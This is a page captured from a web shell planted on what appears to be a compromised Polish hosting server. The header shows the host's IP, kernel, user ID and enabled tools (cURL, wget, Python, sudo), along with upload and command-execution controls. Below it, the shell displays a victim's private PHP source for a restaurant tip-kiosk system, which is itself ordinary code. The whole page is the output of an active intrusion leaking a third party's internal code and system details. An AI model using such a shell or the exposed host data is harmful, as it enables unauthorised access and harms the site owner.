403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/tips_kiosk.php
<?php
declare(strict_types=1);

function ensure_tips_kiosk_schema(): void
{
    static $ensured = false;
    if ($ensured) {
        return;
    }

    ensure_tips_schema();
    ensure_operations_schema();

    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_kiosk_devices (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            token_hash CHAR(64) NOT NULL,
            device_name VARCHAR(120) DEFAULT NULL,
            active TINYINT(1) NOT NULL DEFAULT 1,
            created_by_user_id INT UNSIGNED DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            last_seen_at DATETIME DEFAULT NULL,
            disabled_at DATETIME DEFAULT NULL,
            UNIQUE KEY uq_tip_kiosk_token (token_hash),
            INDEX idx_tip_kiosk_active (active, created_at),
            CONSTRAINT fk_tip_kiosk_device_user
                FOREIGN KEY (created_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    db()->exec(
        "CREATE TABLE IF NOT EXISTS tip_entries (
            id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
            tip_date DATE NOT NULL,
            waiter_user_id INT UNSIGNED NOT NULL,
            payment_method VARCHAR(12) NOT NULL,
            amount DECIMAL(10,2) NOT NULL,
            kiosk_device_id BIGINT UNSIGNED DEFAULT NULL,
            voided_at DATETIME DEFAULT NULL,
            voided_by_user_id INT UNSIGNED DEFAULT NULL,
            void_reason VARCHAR(255) DEFAULT NULL,
            created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
            INDEX idx_tip_entry_date (tip_date, voided_at),
            INDEX idx_tip_entry_waiter (waiter_user_id, tip_date),
            INDEX idx_tip_entry_method (tip_date, payment_method),
            CONSTRAINT fk_tip_entry_waiter
                FOREIGN KEY (waiter_user_id) REFERENCES users(id) ON DELETE RESTRICT,
            CONSTRAINT fk_tip_entry_device
                FOREIGN KEY (kiosk_device_id) REFERENCES tip_kiosk_devices(id) ON DELETE SET NULL,
            CONSTRAINT fk_tip_entry_void_by
                FOREIGN KEY (voided_by_user_id) REFERENCES users(id) ON DELETE SET NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_polish_ci"
    );

    $ensured = true;
}

function tip_kiosk_cookie_name(): string
{
    return 'POLANA_TIP_KIOSK';
}

function tip_kiosk_start_session(): void
{
    if (session_status() === PHP_SESSION_ACTIVE) {
        return;
    }

    $sessionDir = dirname(__DIR__) . '/storage/sessions';
    if (!is_dir($sessionDir)) {
        @mkdir($sessionDir, 0700, true);
    }
    if (is_dir($sessionDir) && is_writable($sessionDir)) {
        session_save_path($sessionDir);
    }

    session_name('POLANA_TIP_KIOSK_SESSION');

    $secure = (
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') ||
        (($_SERVER['HTTP_X_FORWARDED_SSL'] ?? '') === 'on')
    );

    session_set_cookie_params([
        'lifetime' => 0,
        'path' => '/tipy/',
        'secure' => $secure,
        'httponly' => true,
        'samesite' => 'Strict',
    ]);

    session_start();
}

function tip_kiosk_csrf_token(): string
{
    tip_kiosk_start_session();

    if (empty($_SESSION['tip_kiosk_csrf'])) {
        $_SESSION['tip_kiosk_csrf'] = bin2hex(random_bytes(32));
    }

    return (string)$_SESSION['tip_kiosk_csrf'];
}

function tip_kiosk_verify_csrf(): void
{
    tip_kiosk_start_session();

    $posted = (string)($_POST['csrf_token'] ?? '');
    $stored = (string)($_SESSION['tip_kiosk_csrf'] ?? '');

    if ($stored === '' || $posted === '' || !hash_equals($stored, $posted)) {
        throw new RuntimeException('Sesja terminala wygasła. Spróbuj ponownie.');
    }
}

function tip_kiosk_device(): ?array
{
    ensure_tips_kiosk_schema();

    $token = (string)($_COOKIE[tip_kiosk_cookie_name()] ?? '');
    if (strlen($token) < 32) {
        return null;
    }

    $stmt = db()->prepare(
        "SELECT *
         FROM tip_kiosk_devices
         WHERE token_hash=? AND active=1
         LIMIT 1"
    );
    $stmt->execute([hash('sha256', $token)]);
    $row = $stmt->fetch();

    if (!$row) {
        return null;
    }

    db()->prepare('UPDATE tip_kiosk_devices SET last_seen_at=NOW() WHERE id=?')
        ->execute([(int)$row['id']]);

    return $row;
}

function tip_kiosk_activate_device(string $name, int $actorUserId): array
{
    ensure_tips_kiosk_schema();

    $name = trim($name);
    if ($name === '') {
        $name = 'Terminal napiwków';
    }
    $name = mb_substr($name, 0, 120, 'UTF-8');

    $token = bin2hex(random_bytes(32));
    $hash = hash('sha256', $token);

    $stmt = db()->prepare(
        'INSERT INTO tip_kiosk_devices (token_hash,device_name,active,created_by_user_id,last_seen_at)
         VALUES (?,?,1,?,NOW())'
    );
    $stmt->execute([$hash, $name, $actorUserId]);

    $secure = (
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https') ||
        (($_SERVER['HTTP_X_FORWARDED_SSL'] ?? '') === 'on')
    );

    setcookie(tip_kiosk_cookie_name(), $token, [
        'expires' => time() + 365 * 86400,
        'path' => '/',
        'secure' => $secure,
        'httponly' => true,
        'samesite' => 'Strict',
    ]);
    $_COOKIE[tip_kiosk_cookie_name()] = $token;

    return [
        'id' => (int)db()->lastInsertId(),
        'name' => $name,
    ];
}

function tip_kiosk_disable_current_device(): void
{
    ensure_tips_kiosk_schema();

    $token = (string)($_COOKIE[tip_kiosk_cookie_name()] ?? '');
    if ($token !== '') {
        db()->prepare(
            'UPDATE tip_kiosk_devices
             SET active=0,disabled_at=NOW()
             WHERE token_hash=?'
        )->execute([hash('sha256', $token)]);
    }

    setcookie(tip_kiosk_cookie_name(), '', [
        'expires' => time() - 3600,
        'path' => '/',
        'httponly' => true,
        'samesite' => 'Strict',
    ]);
    unset($_COOKIE[tip_kiosk_cookie_name()]);
}

function tip_kiosk_disable_device(int $deviceId): void
{
    ensure_tips_kiosk_schema();
    db()->prepare(
        'UPDATE tip_kiosk_devices SET active=0,disabled_at=NOW() WHERE id=?'
    )->execute([$deviceId]);
}

function tip_kiosk_devices(): array
{
    ensure_tips_kiosk_schema();

    return db()->query(
        "SELECT d.*,u.username,u.name
         FROM tip_kiosk_devices d
         LEFT JOIN users u ON u.id=d.created_by_user_id
         ORDER BY d.active DESC,d.id DESC"
    )->fetchAll();
}

function staff_pin_is_unique(string $pin, int $excludeUserId = 0): bool
{
    ensure_operations_schema();

    if (!preg_match('/^\d{4}$/', $pin)) {
        return false;
    }

    $stmt = db()->prepare(
        "SELECT id,staff_pin_hash
         FROM users
         WHERE active=1
           AND role IN ('waiter','kitchen')
           AND staff_pin_hash IS NOT NULL
           AND staff_pin_hash<>''
           AND id<>?"
    );
    $stmt->execute([$excludeUserId]);

    foreach ($stmt->fetchAll() as $row) {
        if (password_verify($pin, (string)$row['staff_pin_hash'])) {
            return false;
        }
    }

    return true;
}

function tip_kiosk_set_waiter_pin(int $userId, string $pin): void
{
    ensure_tips_kiosk_schema();

    $pin = preg_replace('/\D+/', '', $pin);
    if (!preg_match('/^\d{4}$/', $pin)) {
        throw new RuntimeException('PIN musi mieć dokładnie 4 cyfry.');
    }

    $stmt = db()->prepare("SELECT id FROM users WHERE id=? AND active=1 AND role='waiter' LIMIT 1");
    $stmt->execute([$userId]);
    if (!$stmt->fetch()) {
        throw new RuntimeException('Nie znaleziono aktywnego kelnera.');
    }

    if (!staff_pin_is_unique($pin, $userId)) {
        throw new RuntimeException('Ten PIN jest już używany przez innego pracownika.');
    }

    db()->prepare('UPDATE users SET staff_pin_hash=?,staff_pin_updated_at=NOW() WHERE id=?')
        ->execute([password_hash($pin, PASSWORD_DEFAULT), $userId]);
}

function tip_kiosk_clear_waiter_pin(int $userId): void
{
    ensure_tips_kiosk_schema();
    db()->prepare("UPDATE users SET staff_pin_hash=NULL,staff_pin_updated_at=NOW() WHERE id=? AND role='waiter'")
        ->execute([$userId]);
}

function tip_kiosk_verify_waiter_pin(string $pin): ?array
{
    ensure_operations_schema();

    if (!preg_match('/^\d{4}$/', $pin)) {
        return null;
    }

    $rows = db()->query(
        "SELECT id,username,name,role,staff_pin_hash
         FROM users
         WHERE active=1
           AND role='waiter'
           AND staff_pin_hash IS NOT NULL
           AND staff_pin_hash<>''"
    )->fetchAll();

    $matches = [];
    foreach ($rows as $row) {
        if (password_verify($pin, (string)$row['staff_pin_hash'])) {
            $matches[] = $row;
        }
    }

    // PIN musi jednoznacznie wskazać jednego kelnera.
    return count($matches) === 1 ? $matches[0] : null;
}

function tip_kiosk_set_active_waiter(array $waiter): void
{
    tip_kiosk_start_session();

    $_SESSION['tip_kiosk_waiter_id'] = (int)$waiter['id'];
    $_SESSION['tip_kiosk_waiter_name'] = (string)($waiter['name'] ?: $waiter['username']);
    $_SESSION['tip_kiosk_waiter_expires'] = time() + 60;
}

function tip_kiosk_active_waiter(): ?array
{
    tip_kiosk_start_session();

    $id = (int)($_SESSION['tip_kiosk_waiter_id'] ?? 0);
    $expires = (int)($_SESSION['tip_kiosk_waiter_expires'] ?? 0);

    if ($id < 1 || $expires < time()) {
        tip_kiosk_clear_active_waiter();
        return null;
    }

    $stmt = db()->prepare(
        "SELECT id,username,name,role
         FROM users
         WHERE id=? AND active=1 AND role='waiter'
         LIMIT 1"
    );
    $stmt->execute([$id]);
    return $stmt->fetch() ?: null;
}

function tip_kiosk_clear_active_waiter(): void
{
    tip_kiosk_start_session();

    unset(
        $_SESSION['tip_kiosk_waiter_id'],
        $_SESSION['tip_kiosk_waiter_name'],
        $_SESSION['tip_kiosk_waiter_expires']
    );
}

function tip_kiosk_flash(string $message, string $type = 'success'): void
{
    tip_kiosk_start_session();
    $_SESSION['tip_kiosk_flash'] = [
        'message' => $message,
        'type' => $type,
    ];
}

function tip_kiosk_consume_flash(): ?array
{
    tip_kiosk_start_session();
    $flash = $_SESSION['tip_kiosk_flash'] ?? null;
    unset($_SESSION['tip_kiosk_flash']);
    return is_array($flash) ? $flash : null;
}

function tip_kiosk_sums(string $date): array
{
    ensure_tips_kiosk_schema();

    $stmt = db()->prepare(
        "SELECT
            COALESCE(SUM(CASE WHEN payment_method='cash' AND voided_at IS NULL THEN amount ELSE 0 END),0) AS cash_amount,
            COALESCE(SUM(CASE WHEN payment_method='card' AND voided_at IS NULL THEN amount ELSE 0 END),0) AS card_amount,
            COALESCE(SUM(CASE WHEN voided_at IS NULL THEN amount ELSE 0 END),0) AS total_amount,
            SUM(CASE WHEN voided_at IS NULL THEN 1 ELSE 0 END) AS entry_count
         FROM tip_entries
         WHERE tip_date=?"
    );
    $stmt->execute([$date]);
    $row = $stmt->fetch() ?: [];

    return [
        'cash' => (float)($row['cash_amount'] ?? 0),
        'card' => (float)($row['card_amount'] ?? 0),
        'total' => (float)($row['total_amount'] ?? 0),
        'count' => (int)($row['entry_count'] ?? 0),
    ];
}

function tip_kiosk_entries(string $date, int $limit = 250): array
{
    ensure_tips_kiosk_schema();
    $limit = max(1, min(1000, $limit));

    $stmt = db()->prepare(
        "SELECT e.*,u.username,u.name,d.device_name,
                vu.username AS void_username,vu.name AS void_name
         FROM tip_entries e
         JOIN users u ON u.id=e.waiter_user_id
         LEFT JOIN tip_kiosk_devices d ON d.id=e.kiosk_device_id
         LEFT JOIN users vu ON vu.id=e.voided_by_user_id
         WHERE e.tip_date=?
         ORDER BY e.id DESC
         LIMIT $limit"
    );
    $stmt->execute([$date]);
    return $stmt->fetchAll();
}

function tip_kiosk_sync_pool(string $date, int $creatorUserId = 0): ?array
{
    ensure_tips_kiosk_schema();

    if (tip_month_is_closed(substr($date, 0, 7))) {
        throw new RuntimeException('Miesiąc jest zamknięty.');
    }

    $existing = tip_pool_by_date($date, 'all_day');

    if ($existing && $existing['status'] === 'settled') {
        throw new RuntimeException('Dzisiejsze rozliczenie jest już zamknięte.');
    }

    if (
        $existing &&
        (string)$existing['source_type'] !== 'kiosk' &&
        tip_pool_total($existing) > 0.001
    ) {
        throw new RuntimeException('Ten dzień ma już ręczne rozliczenie. Manager musi je najpierw uporządkować.');
    }

    $staff = schedule_entries_for_date($date);
    $ids = [];

    foreach ($staff as $person) {
        if (in_array((string)$person['role'], ['waiter','kitchen'], true)) {
            $ids[] = (int)$person['user_id'];
        }
    }

    $ids = array_values(array_unique(array_filter($ids)));
    if (!$ids) {
        throw new RuntimeException('Brak obsady w grafiku na ten dzień.');
    }

    $sum = tip_kiosk_sums($date);
    $total = round($sum['cash'] + $sum['card'], 2);

    $pdo = db();

    if ($total <= 0) {
        if ($existing && (string)$existing['source_type'] === 'kiosk') {
            $pdo->prepare(
                "UPDATE tip_pools
                 SET cash_amount=0,card_amount=0,other_amount=0,note='Terminal napiwków',updated_at=NOW()
                 WHERE id=?"
            )->execute([(int)$existing['id']]);
            $pdo->prepare('DELETE FROM tip_pool_participants WHERE pool_id=?')
                ->execute([(int)$existing['id']]);
        }
        return $existing ? tip_pool_by_id((int)$existing['id']) : null;
    }

    $allocation = tip_pool_allocate_by_groups($total, $ids);

    if ($existing) {
        $poolId = (int)$existing['id'];
        $pdo->prepare(
            "UPDATE tip_pools
             SET cash_amount=?,card_amount=?,other_amount=0,note='Terminal napiwków',
                 source_type='kiosk',source_file=NULL,source_original_name=NULL,
                 status='open',settled_at=NULL,settled_by_user_id=NULL,updated_at=NOW()
             WHERE id=?"
        )->execute([$sum['cash'], $sum['card'], $poolId]);

        $pdo->prepare('DELETE FROM tip_pool_participants WHERE pool_id=?')
            ->execute([$poolId]);
    } else {
        $pdo->prepare(
            "INSERT INTO tip_pools
             (tip_date,shift_code,cash_amount,card_amount,other_amount,note,source_type,status,created_by_user_id)
             VALUES (?,'all_day',?,?,0,'Terminal napiwków','kiosk','open',?)"
        )->execute([
            $date,
            $sum['cash'],
            $sum['card'],
            $creatorUserId > 0 ? $creatorUserId : null,
        ]);
        $poolId = (int)$pdo->lastInsertId();
    }

    $insert = $pdo->prepare(
        "INSERT INTO tip_pool_participants
         (pool_id,user_id,points,share_amount,payout_status)
         VALUES (?,?,1.00,?,'pending')"
    );

    foreach ($allocation['shares'] as $userId => $share) {
        $insert->execute([$poolId, (int)$userId, (float)$share['share']]);
    }

    return tip_pool_by_id($poolId);
}

function tip_kiosk_add_entry(
    int $waiterUserId,
    string $method,
    float $amount,
    int $deviceId
): int {
    ensure_tips_kiosk_schema();

    if (!in_array($method, ['cash','card'], true)) {
        throw new RuntimeException('Wybierz karta albo gotówka.');
    }

    $amount = round($amount, 2);
    if ($amount <= 0 || $amount > 5000) {
        throw new RuntimeException('Nieprawidłowa kwota napiwku.');
    }

    $date = date('Y-m-d');

    if (tip_month_is_closed(substr($date, 0, 7))) {
        throw new RuntimeException('Dzisiejsze rozliczenie jest już zamknięte.');
    }

    $pool = tip_pool_by_date($date, 'all_day');
    if ($pool && $pool['status'] === 'settled') {
        throw new RuntimeException('Dzisiejsze rozliczenie jest już zamknięte.');
    }

    // Kelner może wbijać napiwki tylko w dniu, w którym jest w grafiku.
    if (!schedule_entries_for_date($date, $waiterUserId)) {
        throw new RuntimeException('Nie jesteś dziś wpisany do grafiku.');
    }

    // Nie otwieramy transakcji wokół synchronizacji puli, bo starsze wersje
    // ensure_tips_schema()/ensure_schedule_schema() wykonują DDL, a MySQL robi
    // przy DDL implicit COMMIT. Zamiast tego stosujemy bezpieczne cofnięcie wpisu.
    $pdo = db();
    $stmt = $pdo->prepare(
        "INSERT INTO tip_entries
         (tip_date,waiter_user_id,payment_method,amount,kiosk_device_id)
         VALUES (?,?,?,?,?)"
    );
    $stmt->execute([$date, $waiterUserId, $method, $amount, $deviceId]);
    $entryId = (int)$pdo->lastInsertId();

    try {
        tip_kiosk_sync_pool($date, $waiterUserId);
        return $entryId;
    } catch (Throwable $e) {
        // Jeśli nie udało się przeliczyć puli, nie zostawiamy "osieroconego" tipa.
        $pdo->prepare('DELETE FROM tip_entries WHERE id=?')->execute([$entryId]);
        throw $e;
    }
}

function tip_kiosk_void_entry(int $entryId, int $actorUserId, string $reason): void
{
    ensure_tips_kiosk_schema();

    $reason = trim($reason);
    if (mb_strlen($reason, 'UTF-8') < 3) {
        throw new RuntimeException('Podaj krótki powód cofnięcia wpisu.');
    }

    $stmt = db()->prepare(
        "SELECT * FROM tip_entries WHERE id=? LIMIT 1"
    );
    $stmt->execute([$entryId]);
    $entry = $stmt->fetch();

    if (!$entry) {
        throw new RuntimeException('Nie znaleziono wpisu.');
    }
    if (!empty($entry['voided_at'])) {
        throw new RuntimeException('Ten wpis jest już cofnięty.');
    }

    $pool = tip_pool_by_date((string)$entry['tip_date']);
    if ($pool && $pool['status'] === 'settled') {
        throw new RuntimeException('Dzień jest zamknięty. Najpierw otwórz go ponownie.');
    }

    $pdo = db();
    $pdo->prepare(
        "UPDATE tip_entries
         SET voided_at=NOW(),voided_by_user_id=?,void_reason=?
         WHERE id=?"
    )->execute([$actorUserId, $reason, $entryId]);

    try {
        tip_kiosk_sync_pool((string)$entry['tip_date'], $actorUserId);
    } catch (Throwable $e) {
        // Synchronizacja nie wyszła – przywracamy wpis do stanu aktywnego.
        $pdo->prepare(
            "UPDATE tip_entries
             SET voided_at=NULL,voided_by_user_id=NULL,void_reason=NULL
             WHERE id=?"
        )->execute([$entryId]);
        throw $e;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit